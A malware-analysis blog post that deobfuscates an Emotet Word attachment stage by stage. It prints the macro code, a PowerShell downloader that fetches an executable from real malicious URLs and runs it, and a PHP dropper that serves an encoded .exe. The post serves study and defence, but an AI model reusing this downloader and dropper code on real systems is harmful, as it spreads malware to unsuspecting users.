This article was published on the 16th of February 2019. This article was updated on the 19th of March 2020.

The Emotet trojan has been active for multiple years and has delivered numerous payloads. In the beginning, the trojan injected itself during the payment process of a purchase, but over the years the malware has transitioned to also drop other trojans. Currently, the main spreading method is via spam campaigns. The e-mails contain a malicious attachment that is often referred to as an invoice.

Table of contents

The samples were obtained through b1nary on Telegram. Note that URLs in the macro do not include the analysed one. It is a different website, but the process is the same. One can download all the required files from VirusBay, Malware Bazaar, or MalShare. Details are given below.

MD5: 52b94921d9e57a2009fb0c562aab25bc SHA-1: 32bcf8bbf7a5a3e88f4025179f4be9445b8e7ec8 SHA-256: 59c3bb00017dd3bb1abd4d42d9a50df24fcd320bacf5335d1c030b772dc796c5

Later on, PHP files will be analysed and executed to obtain data. To install PHP on Debian based systems, one can simply use the command that is given below.

sudo apt-get install php7.2-cli

For Windows, the information is given on the PHP site, which can be found here.

The attachment, which was received on the first of February 2019, is named Factura_OS-0689.doc. Upon opening it (with macros disabled, on a non Windows based system to avoid an accidental infection), a social engineering attempt becomes apparent. Below, the text within the image is given.

This document is protected To open the document, follow these steps: This document is only available for desktop op laptop versions of Microsoft Office word Click Enable editing button from the yellow bar above Once you have enabled editing, please click Enable content button from the yellow bar above

Aside from the oddly phrased sentences, this is an obvious attempt to lure an unsuspecting victim into executing the payload of the document.

The document contains one form (named f), three modules (d40tNZH, tzUxn and VCAZiq) with a single function in each module (respectively wFjUXJ, KKZUbw and love). To ensure the execution of the macro when the file is opened, the Document_Open event is used. The code that is executed when this event is triggered, is given below.

Rem Attribute VBA_ModuleType=VBADocumentModule Option VBASupport 1 Sub Document_Open() If 45 * 13 = 3562 - 3555 Then tDtKeGn = "q6Cxy" End If Dim tu96ocCK As Single tu96ocCK = Round(20521.794670846) Dim hAanT8Em2 As Double hAanT8Em2 = Sgn(58540.935390342) Dim HMkjb As Long HMkjb = (3330 / 370) + (6) love "o" End Sub

At first, multiple variables are declared and instantiated. None of them are used within the code after the instantiation. The function love is called at last, with a single parameter: the string o. The code for the love function is given below.

Rem Attribute VBA_ModuleType=VBAModule Option VBASupport 1 Sub love(IdZALGS) Dim EQUqVg9N As String EQUqVg9N = Len(YLPIkZX87) Dim yDnCg14 As Long yDnCg14 = (818 - 791) - (13) Dim yD7Emk2X5 As Long yD7Emk2X5 = -833133810 Dim T7056ZwR As Long T7056ZwR = Sgn(0) Dim sBoDH7mZK As Boolean sBoDH7mZK = False cVMhaxQv = "w" Call Shell(KKZUbw(1) & IdZALGS & cVMhaxQv & wFjUXJ, 0) End Sub

The lay-out of this function is similar to the previous one, in the sense that it first declares and instantiates multiple variables which are never used. Note that the function argument IdZALGS is used and equals o. The Call Shell method contains all the malicious content.

The second argument (the 0) sets the window mode of the shell. The value zero equals vbHide, meaning the shell window is hidden from the user.

Below, the functions KKZUbw(1) and wFjUXJ are analysed. The variable cVMhaxQv equals w, as it is set to in the line above the Call Shell function. The shell command, in which the two known variables are replaced by their value, is given below for context.

Call Shell(KKZUbw(1) & "o" & "w" & wFjUXJ, 0)

The code for KKZUbw is given below.

Rem Attribute VBA_ModuleType=VBAModule Option VBASupport 1 Public Function KKZUbw(OVOcS As Integer ) Dim FC4Vz As Integer FC4Vz = Sgn(-24987) KKZUbw = "p" End Function

The provided variable OVOcS equals 1, as it was passed from love. Both the provided argument and the integer FC4Vz are never used. The function KKZUbw is set to equal p, which is the return value.

For additional context, the shell command with substituted variables, is given below.

Call Shell( "p" & "o" & "w" & wFjUXJ, 0)

The last function that is called, is wFjUXJ. The code is given below.

Rem Attribute VBA_ModuleType=VBAModule Option VBASupport 1 Public Function wFjUXJ() Dim ohw7OLNTg As Object Set ohw7OLNTg = New f Dim YVyOsk As String YVyOsk = ohw7OLNTg.de.Text wFjUXJ = YVyOsk End Function

The variable ohw7OLNTg is first declared as a generic object. One line later, it is defined as f, the form object within the document. The form has a button, named es, which displays the text Cc3KM. Additionally, a textbox with the name de is present. The text within the textbox is given below.

ershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pro-course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://de.thevoucherstop.com/TxJjRtZj,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://3kiloafvallen.nl/wwfuZp3g,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://uckelecorp.com/QNTVLmNmt\".spl6236.9355943074it(\",\");$zKrReq4A = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZxSuD9 in $Lcik8RtZ){try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS6236.9355943074tring(), $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}' .replace ( '6236.9355943074' , $xZGUua ) ;$Zvg3H6 = '' ; iex ( $u5XQYhS ) ;

Since the pow should be in front, the first word in the string is powershell.

The complete script is given below.

powershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pro-course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://de.thevoucherstop.com/TxJjRtZj,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://3kiloafvallen.nl/wwfuZp3g,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://uckelecorp.com/QNTVLmNmt\".spl6236.9355943074it(\",\");$zKrReq4A = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZxSuD9 in $Lcik8RtZ){try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS6236.9355943074tring(), $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}' .replace ( '6236.9355943074' , $xZGUua ) ;$Zvg3H6 = '' ; iex ( $u5XQYhS ) ;

The Powershell code is best read with a couple of new lines, as is seen below.

$u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pro-course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://de.thevoucherstop.com/TxJjRtZj,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://3kiloafvallen.nl/wwfuZp3g,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://uckelecorp.com/QNTVLmNmt\".spl6236.9355943074it(\",\");$zKrReq4A = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZxSuD9 in $Lcik8RtZ){try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS6236.9355943074tring(), $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}' .replace ( '6236.9355943074' , $xZGUua ) ; $Zvg3H6 = '' ; iex ( $u5XQYhS ) ;

The variable $xZGUua is equal to nothing, hence the string 6236.9355943074 is simply removed from the code above. Doing so results in readable code. To improve readability, simply replace the semicolons with ;

in a text editor. After each command, a new line is added. The readable code is given below.

Note that iex($u5XQYhS); is used to execute the Powershell script that is described below. The function iex stands for Invoke-Expression, as can be seen on the Microsoft documentation here. Below, the script that will be executed is analysed.

$IY2E4 = new-object -comobject wscript.shell; $WrDq5hf = new-object system.net.webclient; $h2JAbj3E = new-object random; $Lcik8RtZ = \ "http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,http://de.thevoucherstop.com/TxJjRtZj,http://3kiloafvallen.nl/wwfuZp3g,http://uckelecorp.com/QNTVLmNmt\" .split ( \ ",\" ) ; $zKrReq4A = $h2JAbj3E .next ( 1 , 65536 ) ; $XqzWsIE = \ "c:\windows\temp\putty.exe\" ; foreach ( $VZxSuD9 in $Lcik8RtZ ) { try { $WrDq5hf .downloadfile ( $VZxSuD9 .ToString ( ) , $XqzWsIE ) ; start - process $XqzWsIE ; break ; } catch { } }

The first three variables, $IY2E4, $WrDq5hf and $h2JAbj3E, can be renamed based on the object types. Their new names are, respectively, $wscriptShell, $webClient and $randomGenerator.

The next variable, $Lcik8RtZ, is a string of URLs which is split, returning an array of URLs. Hence, it can be renamed to $urlArray.

The result of the random generator ranges between 1 and 65535, since the last value is the limit, which is excluded from the possible result. This equals the maximum value of a sixteen bit unsigned integer (uint16_t): two to the power 16. The result of the random generator is saved in the variable $zKrReq4A. This variable can be refactored to $randomNumber.

Lastly, the variable $XqzWsIE is equal to the path where the file is downloaded to and executed from. As such, it can be refactored to $downloadedFile. The refactored code is given below.

$wscriptShell = new-object -comobject wscript.shell; $webClient = new-object system.net.webclient; $randomGenerator = new-object random; $urlArray = \ "http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,http://de.thevoucherstop.com/TxJjRtZj,http://3kiloafvallen.nl/wwfuZp3g,http://uckelecorp.com/QNTVLmNmt\" .split ( \ ",\" ) ; $randomNumber = $randomGenerator .next ( 1 , 65536 ) ; $downloadedFile = \ "c:\windows\temp\putty.exe\" ; foreach ( $url in $urlArray ) { try { $webClient .downloadfile ( $url .ToString ( ) , $downloadedFile ) ; start - process $downloadedFile ; break ; } catch { } }

The script cycles through all the domain names and tries to download the next stage to the victim’s computer, more specifically to C:\windows\temp\putty.exe. If the download succeeds, the downloaded file is executed. If an error occurs, the next URL is tried since the catch clause is left empty. If all of the URLs are unavailable, the script terminates and the victim’s device remains unaffected.

Generally, the visited site simply returns the payload. In this case, a wrongly configured website was found, which let the site function as an open directory instead. The PHP file that is analysed in this stage and the result of it (stage 4) is generally left unobserved as it is the server sided code. The wrongly configured website is given below, although it is now unavailable.

http://adsuide.club/y77QTKhV/

The content of the PHP file was beautified to increase the readability. Note that the payload is omitted here due to its length, namely 196 393 characters. The code is given below.

<?php function fn5c62c1bcb819b ( $s ) { $x = '' ; for ( $i = 0 , $n = strlen ( $s ) ; $i < $n ; $i += 2 ) { $x .= pack ( 'H*' , substr ( $s , $i , 2 ) ) ; } return $x ; } $n5c62c1bcb81d1 = fn5c62c1bcb819b ( '6576616c28677a696e666c617465286261736536345f6465636f64652822' ) ; $n5c62c1bcb8206 = fn5c62c1bcb819b ( '222929293b' ) ; eval ( $n5c62c1bcb81d1 . '[omitted due to size]' . $n5c62c1bcb8206 ) ;

The function fn5c62c1bcb819b is used to transform two strings using the pack function from PHP. The H is used to provide information about the string type, in this case hexadecimal with the high nibble first. The asterisk is used to indicate that the whole string should be taken into account. The function can therefore be refactored to decode.

The variables $n5c62c1bcb81d1 and $n5c62c1bcb8206 are equal to the result of the decode function. Decoding both strings provides provides more information. In the code below, the [base64-encoded-value-here] is where the payload originally resides.

eval ( gzinflate ( base64_decode ( "[base64-encoded-value-here]" ) ) ) ;

The data is encoded in two ways, meaning it should be decoded before it can be executed. The complete function is given below. Note that the eval function call has been removed, since the payload shouldn’t be executed. Instead, it has been replaced with file_put_contents to save the file for a more detailed analysis. The path that has been used should always be absolute.

<?php function decode ( $stringToDecode ) { $output = '' ; for ( $i = 0 , $n = strlen ( $stringToDecode ) ; $i < $n ; $i += 2 ) { $output .= pack ( 'H*' , substr ( $stringToDecode , $i , 2 ) ) ; } return $output ; } $commandPart1 = decode ( '6576616c28677a696e666c617465286261736536345f6465636f64652822' ) ; $commandPart2 = decode ( '222929293b' ) ; echo "Command equals:

" ; echo $commandPart1 . "[base64-encoded-value-here]" . $commandPart2 . "

" ; file_put_contents ( "/home/libra/Desktop/emotet/stage4.php" , ( gzinflate ( base64_decode ( '[omitted due to size]' ) ) ) ) ;

Note that the file that is written to the disk is a PHP file, since the eval function executes the given string as PHP code.

The complete beautified PHP file is given below. To retain readability, it will be analysed in parts.

<?php error_reporting ( 0 ) ; set_time_limit ( 0 ) ; ini_set ( 'max_execution_time' , 0 ) ; ini_set ( 'memory_limit' , - 1 ) ; header ( 'Expires: Tue, 01 Jan 1970 00:00:00 GMT' ) ; header ( 'Last-Modified: ' . gmdate ( 'D, d M Y H:i:s' ) . ' GMT' ) ; header ( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ) ; header ( 'Cache-Control: post-check=0, pre-check=0' , false ) ; header ( 'Pragma: no-cache' ) ; if ( function_exists ( 'opcache_invalidate' ) ) { opcache_invalidate ( __FILE__ , true ) ; } class O { private $content_ = '[omitted due to size]' ; private $contentName_ = 'iMDbapCVgUb.exe' ; private $contentType_ = 'application/octet-stream' ; private $regex_ = array ( array ( '(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)' , 'Android|Silk-Accelerated=[a-z]{4,5} ' , 'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Deluxe' ) , array ( 'CFNetwork/758\\.4\\.3' , 'CFNetwork/758\\.3\\.15' , 'CFNetwork/758\\.2\\.[78]' , 'CFNetwork/758\\.1\\.6' , 'CFNetwork/758\\.0\\.2' , 'CFNetwork/711\\.5\\.6' , 'CFNetwork/711\\.4\\.6' , 'CFNetwork/711\\.3\\.18' , 'CFNetwork/711\\.2\\.23' , 'CFNetwork/711\\.1\\.1[26]' , 'CFNetwork/711\\.0\\.6' , 'CFNetwork/672\\.1' , 'CFNetwork/672\\.0' , 'CFNetwork/609\\.1' , 'CFNetwork/60[29]' , 'CFNetwork/548\\.1' , 'CFNetwork/548\\.0' , 'CFNetwork/485\\.13' , 'CFNetwork/485\\.12' , 'CFNetwork/485\\.10' , 'CFNetwork/485\\.2' , 'CFNetwork/467\\.12' , 'CFNetwork/459' , '(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)' , '(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|; Opera)?' , 'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts, iOS|Overcast|Castro|Podcat|i[cC]atcher' , 'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)' ) , array ( 'Maemo' , 'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?' , 'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?' , 'Linux; .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack))[ /](\\d+[\\.\\d]+)' , '(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack)(?:(?: Enterprise)? Linux)?(?:[ /\\-](\\d+[\\.\\d]+))?' , 'Linux(?:OS)?[^a-z]' ) , array ( 'CFNetwork/760' , 'CFNetwork/720' , 'CFNetwork/673' , 'CFNetwork/596' , 'CFNetwork/520' , 'CFNetwork/454' , 'CFNetwork/(?:438|422|339|330|221|220|217)' , 'CFNetwork/12[89]' , 'CFNetwork/1\\.2' , 'CFNetwork/1\\.1' , 'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?' , 'Mac (\\d+(?:[_\\.]\\d+)+)' , 'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook' ) , array ( 'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10' , 'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10' , 'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1' , 'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8' , 'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7' , 'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista' , 'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64' , 'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP' ) , array ( '.?' ) ) ; private function spabbd98 ( $sp1bd672 ) { foreach ( $this -> regex_ as $spda961f => $spd59ff0 ) { foreach ( $spd59ff0 as $sp439cf2 ) { $sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace ( '/' , '\\/' , $sp439cf2 ) . ')/i' ; if ( preg_match ( $sp439cf2 , $sp1bd672 ) ) { return $spda961f ; } } } return - 1 ; } public function execute ( ) { $sp1cb870 = '.' . sha1 ( basename ( dirname ( __FILE__ ) ) ) ; touch ( $sp1cb870 ) ; $spdfc158 = fopen ( $sp1cb870 , 'r+' ) ; if ( $spdfc158 !== false ) { if ( flock ( $spdfc158 , LOCK_EX ) ) { $sp7c7c2a = array ( ) ; $spe8c644 = filesize ( $sp1cb870 ) ; if ( $spe8c644 > 0 ) { $sp7c7c2a = json_decode ( fread ( $spdfc158 , $spe8c644 ) , true ) ; } $sp6345e2 = isset ( $_SERVER [ 'HTTP_USER_AGENT' ] ) ? $_SERVER [ 'HTTP_USER_AGENT' ] : '' ; $spda961f = $this -> spabbd98 ( $sp6345e2 ) ; if ( $spda961f > 0 ) { if ( ! isset ( $sp7c7c2a [ $spda961f ] ) || ! is_int ( $sp7c7c2a [ $spda961f ] ) ) { $sp7c7c2a [ $spda961f ] = 0 ; } $sp7c7c2a [ $spda961f ] ++; } fseek ( $spdfc158 , 0 ) ; fwrite ( $spdfc158 , json_encode ( $sp7c7c2a ) ) ; fflush ( $spdfc158 ) ; flock ( $spdfc158 , LOCK_UN ) ; } fclose ( $spdfc158 ) ; } header ( 'Content-Type: ' . $this -> contentType_ ) ; header ( 'Content-Disposition: attachment; filename="' . $this -> contentName_ . '"' ) ; header ( 'Content-Transfer-Encoding: binary' ) ; return base64_decode ( $this -> content_ ) ; } } if ( $_SERVER [ 'QUERY_STRING' ] ) { die ( $_SERVER [ 'QUERY_STRING' ] ) ; } if ( $_SERVER [ 'REQUEST_METHOD' ] != 'GET' ) { die ( uniqid ( ) ) ; } $sp58859d = new O ( ) ; echo $sp58859d -> execute ( ) ;

The first observation that can be made is the separation of the checks that are executed based on the visitor’s request and the payload that is decoded. At first, the checks are analysed. After that, the code that decodes the payload is analysed.

<?php error_reporting ( 0 ) ; set_time_limit ( 0 ) ; ini_set ( 'max_execution_time' , 0 ) ; ini_set ( 'memory_limit' , - 1 ) ; header ( 'Expires: Tue, 01 Jan 1970 00:00:00 GMT' ) ; header ( 'Last-Modified: ' . gmdate ( 'D, d M Y H:i:s' ) . ' GMT' ) ; header ( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ) ; header ( 'Cache-Control: post-check=0, pre-check=0' , false ) ; header ( 'Pragma: no-cache' ) ; if ( function_exists ( 'opcache_invalidate' ) ) { opcache_invalidate ( __FILE__ , true ) ; }

The function error_reporting sets which errors are reported. The argument, in this case the value 0, ensures that no reporting takes place.

To avoid timing out, the function set_time_limit is set to an unlimited amount of time, by using the value 0.

Additionally, the user can set custom variables using the ini_set function. The variables max_execution_time and memory_limit are set to an indefinite amount of time and memory.

The header is set to expire in the past, causing it to be invalidated immediately. Furthermore, any form of caching is disabled. The opcache_invalidate function is used to invalidate a cached script, which equals the magic constant __FILE__. This constant refers to the full path and filename of the file from which it is called. The boolean, which equals true, defines if the cache should be cleared forcefully.

The cache is emptied and avoided to never keep a copy of the payload on the server, other than the script itself.

When a user visits the site, multiple checks are executed. If both checks are passed, a new object is instantiated and a method of this object is invoked. The code is given below.

class O { #code omitted } if ( $_SERVER [ 'QUERY_STRING' ] ) { die ( $_SERVER [ 'QUERY_STRING' ] ) ; } if ( $_SERVER [ 'REQUEST_METHOD' ] != 'GET' ) { die ( uniqid ( ) ) ; } $sp58859d = new O ( ) ; echo $sp58859d -> execute ( ) ;

The variable $_SERVER is used to request information about the server and the way the PHP script is loaded. The variable QUERY_STRING is used to obtain the query string. If any additional parameters are present in the URL, the if-statement returns true.

The function die is similar to the exit function: it displays a message and terminates the script.

Lastly, the function uniqid is used to generate a unique id. If the request method for the page is not equal to the HTTP GET method, the script is terminated as well.

If both conditions are met, a new object is defined and instantiated: $sp58859d. After that, the execute function is called. The invoked method is part of the class named O, which is given below in parts.

class O { private $content_ = '[omitted due to size]' ; private $contentName_ = 'iMDbapCVgUb.exe' ; private $contentType_ = 'application/octet-stream' ;

The class has multiple private variables. The $content_ is omitted due to its size (292 911 characters), but contains the encoded payload. The $contentName_ is the file name and the $contentType_ is the type of file that will be returned, in this case an application.

Below, the $regex_ variable is given.

private $regex_ = array ( array ( '(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)' , 'Android|Silk-Accelerated=[a-z]{4,5} ' , 'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Deluxe' ) , array ( 'CFNetwork/758\\.4\\.3' , 'CFNetwork/758\\.3\\.15' , 'CFNetwork/758\\.2\\.[78]' , 'CFNetwork/758\\.1\\.6' , 'CFNetwork/758\\.0\\.2' , 'CFNetwork/711\\.5\\.6' , 'CFNetwork/711\\.4\\.6' , 'CFNetwork/711\\.3\\.18' , 'CFNetwork/711\\.2\\.23' , 'CFNetwork/711\\.1\\.1[26]' , 'CFNetwork/711\\.0\\.6' , 'CFNetwork/672\\.1' , 'CFNetwork/672\\.0' , 'CFNetwork/609\\.1' , 'CFNetwork/60[29]' , 'CFNetwork/548\\.1' , 'CFNetwork/548\\.0' , 'CFNetwork/485\\.13' , 'CFNetwork/485\\.12' , 'CFNetwork/485\\.10' , 'CFNetwork/485\\.2' , 'CFNetwork/467\\.12' , 'CFNetwork/459' , '(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)' , '(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|; Opera)?' , 'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts, iOS|Overcast|Castro|Podcat|i[cC]atcher' , 'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)' ) , array ( 'Maemo' , 'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?' , 'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?' , 'Linux; .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack))[ /](\\d+[\\.\\d]+)' , '(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack)(?:(?: Enterprise)? Linux)?(?:[ /\\-](\\d+[\\.\\d]+))?' , 'Linux(?:OS)?[^a-z]' ) , array ( 'CFNetwork/760' , 'CFNetwork/720' , 'CFNetwork/673' , 'CFNetwork/596' , 'CFNetwork/520' , 'CFNetwork/454' , 'CFNetwork/(?:438|422|339|330|221|220|217)' , 'CFNetwork/12[89]' , 'CFNetwork/1\\.2' , 'CFNetwork/1\\.1' , 'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?' , 'Mac (\\d+(?:[_\\.]\\d+)+)' , 'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook' ) , array ( 'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10' , 'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10' , 'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1' , 'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8' , 'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7' , 'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista' , 'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64' , 'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP' ) , array ( '.?' ) ) ;

The array consists of arrays, each of which defines a different operating system group. At index zero, Android names are matched. The first index contains information about iPhones, iPads and iPods. The second index contains information about Linux distributions. The third index contains information about MacOS systems. The fourth index contains different versions of the Windows operating system. At last, a regex for any character except newlines is used. This match serves as the other category.

Below the function that uses the $regex_ variable is given.

private function spabbd98 ( $sp1bd672 ) { foreach ( $this -> regex_ as $spda961f => $spd59ff0 ) { foreach ( $spd59ff0 as $sp439cf2 ) { $sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace ( '/' , '\\/' , $sp439cf2 ) . ')/i' ; if ( preg_match ( $sp439cf2 , $sp1bd672 ) ) { return $spda961f ; } } } return - 1 ; }

The variable $spd59ff0 can be renamed to $forEachValue since it equals the current value of the array that is being looped through. As such, the variable $sp439cf2 can be renamed to $nestedArray.

The function preg_match performs a regular expression (the first argument) on a string (the second argument). The variable $sp1bd672 can thus be refactored to $regexSubject. At last, the variable $spda961f is returned. This variable equals the operating system that was matched. As such, it can be renamed to $operatingSystem.

If no match is found, the value minus one is returned. This can happen when the given argument is either null or consists only of newline characters. The refactored code is given below.

private function getOperatingSystem ( $regexSubject ) { foreach ( $this -> regex_ as $operatingSystem => $forEachValue ) { foreach ( $forEachValue as $nestedArray ) { $nestedArray = '/(?:^|[^A-Z_-])(?:' . str_replace ( '/' , '\\/' , $nestedArray ) . ')/i' ; if ( preg_match ( $nestedArray , $regexSubject ) ) { return $operatingSystem ; } } } return - 1 ; }

The execute function is given below in parts.

public function execute ( ) { $sp1cb870 = '.' . sha1 ( basename ( dirname ( __FILE__ ) ) ) ;

The variable $sp1cb870 is equal to the SHA-1 hash of the basename of the dirname of the magic constant __FILE__. The basename returns the trailing name of the component. The dirname returns the parent directory of the provided argument (the magic constant __FILE__, which equals the script itself). Note that the file name starts with a dot, making it a hidden file on Unix-like systems.

A proof-of-concept of this line is given below. The name of the folder in which the script resided, was emotet.

<?php echo sha1 ( basename ( dirname ( __FILE__ ) ) ) . "

" ;

The output of this script equals 8def78060ee806dcf94e65eb9b2fdf4ca1adb2de, which is the SHA-1 hash of emotet. The variable can be renamed to $sha1Hash.

Below, the next couple of lines are given.

touch ( $sha1Hash ) ; $spdfc158 = fopen ( $sha1Hash , 'r+' ) ;

The touch function is used to set the time of a file. If the file does not exist, it is created.

The newly created file is then opened using fopen. The parameter r+ opens the file as readable and writable with the file pointer set at the beginning of the file. As such, the variable $spdfc158 can be renamed to $sha1HashFile.

The next two if-statements are given below.

if ( $sha1HashFile !== false ) { if ( flock ( $sha1HashFile , LOCK_EX ) ) { $sp7c7c2a = array ( ) ; $spe8c644 = filesize ( $sha1Hash ) ; if ( $spe8c644 > 0 ) { $sp7c7c2a = json_decode ( fread ( $sha1HashFile , $spe8c644 ) , true ) ; } [ ... ]

The if-statement compares if the $sha1HashFile is true (not identical to false). If this is the case, the function flock is called with $sha1HashFile and LOCK_EX as arguments. This sets an exclusive lock on the file, meaning it cannot be modified by anything else until the file is unlocked.

The variable $spe8c644 is equal to the filesize of the $sha1Hash file. As such, it can be renamed to $sha1HashFileSize.

The json_decode function is used together with fread. The json_decode function is used to decode JSON. The second argument (true) is used to ensure that the return value is saved in the array type. The fread function requires the file and the length that should be read. It is a binary-safe file read. The decoded result is saved in the previously instantiated array $sp7c7c2a, which can be renamed into $decodedSha1File.

The next part of the function is given below.

$sp6345e2 = isset ( $_SERVER [ 'HTTP_USER_AGENT' ] ) ? $_SERVER [ 'HTTP_USER_AGENT' ] : '' ; $spda961f = $this -> getOperatingSystem ( $sp6345e2 ) ; if ( $spda961f > 0 ) { if ( ! isset ( $decodedSha1File [ $spda961f ] ) || ! is_int ( $decodedSha1File [ $spda961f ] ) ) { $decodedSha1File [ $spda961f ] = 0 ; } $decodedSha1File [ $spda961f ] ++; }

Using the isset function, the HTTP_USER_AGENT is obtained. If it is not available, the returned value is an empty string. Hence, the variable $sp6345e2 can be renamed to $userAgent.

The variable $spda961f contains the return value of the getOperatingSystem function. A suitable name for this variable is $operatingSystem.

If the operating system (which is represented as a number based of the index in the $regex_ variable) within the JSON file does not exist or isn’t an integer, the value is set to zero. The value of the operating system within the JSON file is then incremented with one. An example of the content of the JSON is file is given below.

{"5":18}

